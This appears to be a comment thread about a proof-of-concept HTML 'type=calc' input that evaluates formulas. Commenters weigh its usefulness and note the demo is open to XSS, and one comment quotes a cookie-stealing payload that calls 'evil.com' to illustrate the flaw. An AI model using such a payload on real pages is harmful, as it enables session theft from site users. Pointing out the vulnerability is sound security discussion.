I don’t see a use to this at all. Is it just me? I don’t think many people want to input formulas into text boxes. Or if they do, the formula itself is useful and relevant, so it disappearing once the user unfocuses would be non-optimal. (Could save it to a data- attribute and switch it in on focus though.)
UI design: Now and again you are doing simple pixel calculations when laying out design components (Sketch does it). Accounting/tax forms: once and again you might need a simple sum or product.
So, if you were using this in a CAD program or similar, it’d be helpful.
I agree. I can think of very few situations where this would be useful - and in almost every situtation where it would’ve been, then you would want the original formula to be editable. For example, I was working on a data analysis tool that allowed for complex input of mathematical equations in order to change the output of a graph. This calc would not have been useful there, I would have had to still build my own.
I thought about saving it - but then you really need a two-input system where the formula is visible in one place and evaluated into another field I think
Your demo is vulnerable to XSS.
If Math.max works, does alert(1) work? What about fetch('http://evil.com/?'+document.cookie)?
Yes, this is more like a type=“eval” than anything else.
My plan is not to hide behind any pretence of implementing it in a ‘more secure’ way at all! It is exactly what it looks like, and it should be very easy for people to read and understand :D
I think a proper parser would be sufficient.
Isn’t that “self-XSS”? The user themselves have to change the field… so, they presumably already have access to the page? (And if you’re changing via JS then you already have JS access to the page?)
Come on guys!
This is a proof-of-concept. Not a polyfill. Not a production-ready library. Sure it’s vulnerable to some attacks, but that’s because it’s an experiment (see the title: Dreaming of type=“calc”).
If it were ever implemented in major browsers, it would not be a JS solution, and would be properly sandboxed. Can we get past all that and just discuss the pros/cons of having this feature in native HTML?